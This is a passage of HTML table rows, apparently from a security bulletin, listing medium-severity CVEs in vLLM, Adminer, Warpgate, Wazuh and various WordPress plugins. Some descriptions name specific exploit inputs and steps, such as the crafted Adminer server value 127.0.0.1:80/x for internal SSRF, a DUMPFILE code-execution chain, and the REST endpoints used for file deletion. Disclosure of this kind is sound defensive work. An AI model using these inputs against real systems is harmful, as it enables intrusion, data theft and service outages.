&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71420&quot; target=&quot;_blank&quot;&gt;CVE-2025-71420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UwpForo Forum--wpForo Forum&lt;/td&gt;
&lt;td&gt;The wpForo Forum WordPress plugin from 3.0.0 before 3.1.6 does not verify the source of client-supplied IP address headers before using them to key its per-visitor rate limit on paid AI requests, allowing unauthenticated attackers to bypass the limit by spoofing the header and exhaust the site owner&#039;s metered AI credits.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80514&quot; target=&quot;_blank&quot;&gt;CVE-2026-80514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 fetches and fully materializes remote or inline media before enforcing its documented media controls (the VLLM_MAX_AUDIO_CLIP_FILESIZE_MB compressed-audio size cap, default 25 MB, and the per-modality --limit-mm-per-prompt item limits). Across four ingress paths - the shared media-acquisition layer (HTTPConnection.get_bytes()/async_get_bytes()), the chat completions audio_url/base64 path, the batch speech runner, and the Rust frontend POST /tokenize route - the server reads the entire HTTP response body, base64-decodes the inline payload, or spawns one fetch/decode task per media part, and only then applies the limit (or, on some paths, never applies it). A remote attacker can therefore cause the API server or batch-runner process to allocate memory and consume outbound bandwidth proportional to an attacker-chosen body size or media item count before the request is rejected, resulting in pre-inference memory and bandwidth exhaustion (denial of service). The chat and batch surfaces require an API key when one is configured; the Rust frontend /tokenize route is unauthenticated by design. There is no code execution or data disclosure impact.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100650&quot; target=&quot;_blank&quot;&gt;CVE-2026-100650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM before 0.29.0 fails to enforce decoder prompt-length validation on the disaggregated serving endpoint /inference/v1/generate. When the request contains a &#039;features&#039; (multimodal) payload, vllm/entrypoints/serve/disagg/serving.py builds a multimodal EngineInput directly from the caller-supplied token_ids, and GenerateRequest.token_ids (vllm/entrypoints/serve/disagg/protocol.py) is not checked against model_config.max_model_len. For multimodal processors that report skip_prompt_length_check=True (for example Nemotron Parse, Whisper, and FireRedLID), InputProcessor._validate_prompt_len() returns immediately for both encoder and decoder prompts, so an overlong prompt becomes an EngineCoreRequest and reaches the worker input-batch copy into a fixed max_model_len-wide NumPy row. A client able to reach the endpoint on an affected model configuration can therefore submit an overlong token_ids list to trigger a worker failure and denial of service. Fixed in 0.29.0.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100651&quot; target=&quot;_blank&quot;&gt;CVE-2026-100651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speech_tokenizer PreTrainedTokenizerFast loads in vllm/model_executor/models/funaudiochat.py and the Qwen2VLConfig.from_pretrained call used by Tarsier2ProcessingInfo in vllm/model_executor/models/qwen2_vl.py. As a result, deployments pinned to a reviewed revision still resolve these behavior-affecting processor, tokenizer, and config artifacts from the repository&#039;s default revision, so a later change to the upstream default branch can alter audio preprocessing, speech tokenizer behavior, or Tarsier2 configuration without any change to the operator&#039;s configured pin. This is a supply-chain integrity and reproducibility failure for pinned deployments; it is residual to the earlier fix tracked as GHSA-3ww4-5jv9-j5gm / CVE-2026-47155 and does not constitute remote code execution or a trust_remote_code=False bypass. The issue is fixed in version 0.28.0.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100653&quot; target=&quot;_blank&quot;&gt;CVE-2026-100653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM before 0.29.0 accepts user-controlled stop_token_ids on the OpenAI-compatible POST /v1/completions and POST /v1/chat/completions endpoints but validates only that the values are integers, not that each token id is within the model vocabulary/logits range. When min_tokens &amp;gt; 0, the stop token ids are used as logits indices to suppress stop tokens, so an out-of-range id reaches a CUDA indexing operation (index_put_) and triggers a device-side assertion. An authenticated API user can send a single malformed completion request that returns 500 Internal Server Error and puts EngineCore into a fatal state, causing subsequent requests to fail until the service is restarted (denial of service).&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100654&quot; target=&quot;_blank&quot;&gt;CVE-2026-100654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM versions before 0.29.0 contain a denial-of-service vulnerability in the cache_salt parameter accepted on OpenAI-compatible and Anthropic API endpoints, which lacks maximum length validation and is processed on the single EngineCore scheduler thread. Unauthenticated attackers can send HTTP requests with multi-hundred-megabyte salt values that trigger expensive pickle serialization and SHA-256 hashing, stalling the scheduler thread and denying service to all concurrent requests.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100647&quot; target=&quot;_blank&quot;&gt;CVE-2026-100647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vllm before 0.29.0 fails to enforce VLLM_MAX_AUDIO_CLIP_FILESIZE_MB limit in multimodal chat audio decoding, allowing unauthenticated clients to bypass file size restrictions. Attackers can submit oversized audio files through chat endpoints to consume excessive memory and CPU resources during decoding.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100648&quot; target=&quot;_blank&quot;&gt;CVE-2026-100648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM versions 0.22.0 through 0.23.0 fail to validate stop_token_ids against vocabulary bounds in Rust HTTP and gRPC frontends, allowing out-of-vocabulary token IDs to reach MinTokensLogitsProcessor. Attackers can submit requests with min_tokens greater than zero and out-of-vocabulary stop_token_ids to trigger CUDA tensor indexing failures that leave EngineCore in a fatal state requiring service restart.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100652&quot; target=&quot;_blank&quot;&gt;CVE-2026-100652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 contains a resource exhaustion vulnerability in MooncakeConnector where rejected prefill requests create ownerless transfer placeholders that are never reclaimed. Attackers can send rejected requests to exhaust sender task pools, causing valid requests to be delayed by up to 480 seconds while health checks continue returning success.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94625&quot; target=&quot;_blank&quot;&gt;CVE-2026-94625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;volotat--Anagnorisis&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in volotat Anagnorisis up to 0.4.2. Affected by this vulnerability is the function get_file_content/save_file_content/move_files/start_streaming of the file page.html. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97232&quot; target=&quot;_blank&quot;&gt;CVE-2026-97232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vrana--adminer&lt;/td&gt;
&lt;td&gt;Adminer before 6.0.2 contains a cross-site scripting vulnerability where the CONNECTION_ID() database result is interpolated into JavaScript without proper escaping, allowing a malicious database server to execute arbitrary JavaScript in the authenticated Adminer origin. In co-located deployments where the database has FILE privileges and can write to the webroot, attackers can use the XSS to submit authenticated SQL requests that write PHP files via INTO DUMPFILE, achieving remote code execution as the web server account.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100695&quot; target=&quot;_blank&quot;&gt;CVE-2026-100695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vrana--adminer&lt;/td&gt;
&lt;td&gt;Adminer 4.16.0 through 6.0.1 contain a pre-authentication Server-Side Request Forgery (SSRF) vulnerability in the optional Elasticsearch driver (plugins/drivers/elastic.php), fixed in 6.0.2. Because adminer/include/auth.inc.php invokes Driver::connect() before the login result is validated, an unauthenticated attacker who submits crafted auth[server], auth[username], and auth[password] parameters can cause the Adminer server to issue an HTTP GET request (via get_url()/file_get_contents()) to an arbitrary reachable host and port. The driver validates only general server syntax and does not block loopback, private, link-local, or other reserved addresses; if no port is given it appends the default 9200, and Adminer&#039;s generic port check rejects ports below 1024. Selected JSON error fields from non-2xx Elasticsearch-style responses, as well as connection failures, are rendered on the login page, providing a port-scanning oracle and enabling internal network reconnaissance and service fingerprinting. Exploitation requires that the optional Elasticsearch driver be explicitly deployed (e.g., via the adminer/elastic.php template or an adminer_object() configuration; it is not loaded in a default build) and that PHP allow_url_fopen be enabled.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100696&quot; target=&quot;_blank&quot;&gt;CVE-2026-100696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vrana--adminer&lt;/td&gt;
&lt;td&gt;Adminer 5.5.1 through 6.0.1 improperly parses the login &#039;server&#039; string in the host_port() function in adminer/include/functions.inc.php. The port capture group requires pure digits anchored to the end of the string, so any server value with a non-digit tail fails the regex and falls back to returning the whole string as the host with an empty port. Because the privileged-port restriction in adminer/include/auth.inc.php inspects only the parsed port, the check is skipped, and the mysqli/mysqlnd client subsequently re-parses host:port from the host string and opens a TCP connection. A remote, unauthenticated attacker who can reach the Adminer login page can submit a crafted value such as 127.0.0.1:80/x to make the server initiate TCP connections to arbitrary internal hosts and privileged ports before credentials are validated, enabling server-side request forgery and blind internal port scanning (connection refused vs. handshake vs. timeout acts as a liveness oracle). This is a regression that re-opens the bypass fixed in 5.5.0 (GHSA-58cq-mgw2-38m5). Fixed in 6.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100698&quot; target=&quot;_blank&quot;&gt;CVE-2026-100698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vsourz1td--Advanced Contact form 7 DB&lt;/td&gt;
&lt;td&gt;The Advanced Contact form 7 DB plugin for WordPress is vulnerable to missing authorization in all versions up to, and including, 2.0.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Contributor-level access and above, to read all Contact Form 7 submission data via the &#039;acf7db&#039; shortcode.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6831&quot; target=&quot;_blank&quot;&gt;CVE-2026-6831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wahid0003--Product Feed Manager for WooCommerce CTX Feed Support 220+ Shopping, AI &amp;amp; Social Channels&lt;/td&gt;
&lt;td&gt;The Product Feed Manager for WooCommerce - CTX Feed - Support 220+ Shopping &amp;amp; Social Channels plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.6.43 via the &#039;provider&#039; parameter. This makes it possible for authenticated attackers, with shop manager-level access and above, to delete arbitrary files on the server, which can lead to remote code execution when critical files are deleted. Exploitation requires two sequential REST API calls: first to /wp-json/ctxfeed/v1/make_feed/save_feed_config to persist the traversal payload in wp_options, then to /wp-json/ctxfeed/v1/manage_feeds/delete_feed to trigger the unlink(); deletion is further constrained to files whose extensions match the plugin&#039;s validated whitelist (csv, xml, tsv, xls, xlsx, json, txt).&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15095&quot; target=&quot;_blank&quot;&gt;CVE-2026-15095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.25.0 until 0.27.6, the browser SSH path in warpgate-web-ssh/src/manager.rs handles RCEvent::HostKeyUnknown without the presenting hop identity and instead passes ssh_options.host and ssh_options.port for the final target to KnownHosts::trust. In Prompt and AutoAccept modes, a jump host key can therefore be stored for the target address. A machine later presenting the jump host key at the target address can be accepted as the target, allowing interception of user traffic and a newly issued certificate when certificate authentication is used. The native SSH path is unaffected because it tracks each hop separately. This issue is fixed in version 0.27.6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91166&quot; target=&quot;_blank&quot;&gt;CVE-2026-91166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, copy_server_request in warpgate-protocol-http/src/proxy.rs forwards a client-supplied x-warpgate-username header before inject_own_headers appends the authenticated username. Because the request builder preserves repeated values, a proxied backend that trusts the first x-warpgate-username value can authorize an authenticated attacker as another user. The same forwarding policy also accepts the reserved x-warpgate-authentication-type header, and warpgate-common/src/http_headers.rs does not exclude either reserved identity header. This issue is fixed in version 0.25.6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63329&quot; target=&quot;_blank&quot;&gt;CVE-2026-63329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.23.0 until 0.27.3, HTTP API token authentication resolves ConfigProvider::validate_api_token into RequestAuthorization::UserToken without enforcing the owning user&#039;s allowed_ip_ranges against the trusted client address in warpgate-protocol-http/src/common.rs. An attacker holding a leaked, phished, or exfiltrated X-Warpgate-Token can therefore use it from a prohibited network location. Deployments without allowed_ip_ranges are unaffected, and HTTP target proxying plus SSH, MySQL, PostgreSQL, RDP, VNC, and Kubernetes paths do not accept this vulnerable HTTP token flow. This issue is fixed in version 0.27.3.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91164&quot; target=&quot;_blank&quot;&gt;CVE-2026-91164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wazuh--wazuh&lt;/td&gt;
&lt;td&gt;Wazuh is an open-source security platform providing unified XDR and SIEM protection for endpoints and cloud workloads. From 3.8.0 until 4.14.7, the _getattributes() function in src/os_xml/os_xml.c recursively processes every XML attribute without a depth limit while allocating two large local buffers in each stack frame. An enrolled agent can submit a Windows EventChannel event containing an element with enough attributes to exhaust the analysisd worker-thread stack, trigger a segmentation fault, and interrupt log ingestion. The element-depth limit in _ReadElem() does not constrain the number of attributes on one element, so it does not prevent this condition. This issue is fixed in version 4.14.7.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61811&quot; target=&quot;_blank&quot;&gt;CVE-2026-61811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebFactory--Captcha Code&lt;/td&gt;
&lt;td&gt;Unauthenticated Bypass Vulnerability in Captcha Code &amp;lt;= 3.32 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94457&quot; target=&quot;_blank&quot;&gt;CVE-2026-94457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--Aureus ERP&lt;/td&gt;
&lt;td&gt;Aureus ERP through 1.6.0 stores uploaded SVG files on its public disk and serves them from the application origin, allowing authenticated users to upload malicious SVG files containing JavaScript. Attackers can craft SVG files with script elements that execute in the application&#039;s origin when the file URL is opened directly, enabling session cookie theft and CSRF token exfiltration.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97062&quot; target=&quot;_blank&quot;&gt;CVE-2026-97062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebWizards--MarketKing&lt;/td&gt;
&lt;td&gt;MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_admin_vendors_ajax AJAX action that allows authenticated attackers with subscriber-level access or higher to retrieve the complete vendor directory by sending a crafted AJAX request. Attackers can exploit the absence of capability checks in the vendor management action to retrieve internal user IDs, usernames, and email addresses of all registered vendors, exposing personally identifiable information to any logged-in user regardless of role.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93343&quot; target=&quot;_blank&quot;&gt;CVE-2026-93343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebWizards--MarketKing&lt;/td&gt;
&lt;td&gt;MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_get_page_content AJAX action that allows authenticated attackers with subscriber-level access or higher to access arbitrary vendor administrator panel pages by supplying an arbitrary vendor user ID. Attackers can bypass authorization controls by submitting a target vendor ID in the request to access payout pages, financial reports, and vendor dashboard content belonging to any vendor in the marketplace.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93344&quot; target=&quot;_blank&quot;&gt;CVE-2026-93344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebWizards--MarketKing&lt;/td&gt;
&lt;td&gt;MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_duplicate_product AJAX action that allows authenticated attackers with subscriber-level access or higher to duplicate any vendor&#039;s product by supplying an arbitrary product ID. Attackers can bypass ownership verification to copy any vendor&#039;s product listings, including private product metadata, and assign the duplicated copy to their own vendor account without the victim&#039;s knowledge or consent.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93342&quot; target=&quot;_blank&quot;&gt;CVE-2026-93342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebWizards--MarketKing&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in MarketKing &amp;lt;= 2.1.70 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94080&quot; target=&quot;_blank&quot;&gt;CVE-2026-94080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebWizards--MarketKing&lt;/td&gt;
&lt;td&gt;MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_send_refund AJAX action that allows authenticated attackers with subscriber-level access or higher to create refund requests against any order by supplying an arbitrary order ID. Attackers can submit crafted AJAX requests targeting any order ID to create fraudulent refund requests against orders they did not place, enabling marketplace disruption and unauthorized interference with other users&#039; orders.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93341&quot; target=&quot;_blank&quot;&gt;CVE-2026-93341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;weDevs--WP User Frontend&lt;/td&gt;
&lt;td&gt;Subscriber Bypass Vulnerability in WP User Frontend &amp;lt;= 4.3.11 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95523&quot; target=&quot;_blank&quot;&gt;CVE-2026-95523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;weDevs--WP User Frontend&lt;/td&gt;
&lt;td&gt;Subscriber Arbitrary File Deletion in WP User Frontend &amp;lt;= 4.3.11 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95525&quot; target=&quot;_blank&quot;&gt;CVE-2026-95525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;weDevs--WP User Frontend&lt;/td&gt;
&lt;td&gt;Unauthenticated Bypass Vulnerability in WP User Frontend &amp;lt;= 4.3.11 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95524&quot; target=&quot;_blank&quot;&gt;CVE-2026-95524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;weiqingwen--spring-boot-forum&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in weiqingwen spring-boot-forum up to 538eecc3c6b85fdf0768ab4e8354b48c0c17d94f. Affected is the function validate of the file src/main/java/com/qingwenwei/util/NewUserFormValidator.java of the component Avatar Upload. The manipulation of the argument Username leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96678&quot; target=&quot;_blank&quot;&gt;CVE-2026-96678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wipeoutmedia--CSS &amp;amp; JavaScript Toolbox&lt;/td&gt;
&lt;td&gt;The CSS &amp;amp; JavaScript Toolbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin&#039;s cjtoolbox shortcode in all versions up to, and including, 12.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14814&quot; target=&quot;_blank&quot;&gt;CVE-2025-14814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordplus--Better Messages Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots&lt;/td&gt;
&lt;td&gt;The Better Messages - Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots plugin for WordPress is vulnerable to generic SQL Injection via &#039;group_id&#039; Message Meta Parameter in all versions up to, and including, 3.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the BuddyBoss Platform plugin to be installed with its Social Groups component disabled, a state that persists on any site that has previously toggled the Groups component off since BuddyBoss does not drop the wp_bp_groups table upon deactivation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93899&quot; target=&quot;_blank&quot;&gt;CVE-2026-93899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordplus--Better Messages Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots&lt;/td&gt;
&lt;td&gt;The Better Messages - Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via User Display Name in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by Subscriber-level users because WordPress core&#039;s sanitize_text_field() preserves HTML-entity-encoded payloads (e.g., an iframe srcdoc attribute), allowing the encoded string to be stored as a display name without requiring the unfiltered_html capability, and the plugin subsequently decodes it server-side before rendering.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94376&quot; target=&quot;_blank&quot;&gt;CVE-2026-94376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Recipe Maker--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker WordPress plugin before 10.8.2 does not remove shortcodes from comment content before expanding it while building a page&#039;s structured metadata, allowing unauthenticated users to have arbitrary shortcodes executed server side and to read the content of unpublished recipes.&lt;/td&gt;
